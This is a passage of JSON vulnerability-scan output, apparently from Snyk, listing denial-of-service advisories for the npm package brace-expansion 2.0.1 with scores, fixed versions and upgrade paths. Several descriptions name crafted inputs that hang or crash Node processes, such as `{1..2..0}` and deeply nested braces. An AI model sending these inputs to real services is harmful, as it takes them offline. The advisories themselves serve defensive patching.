"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
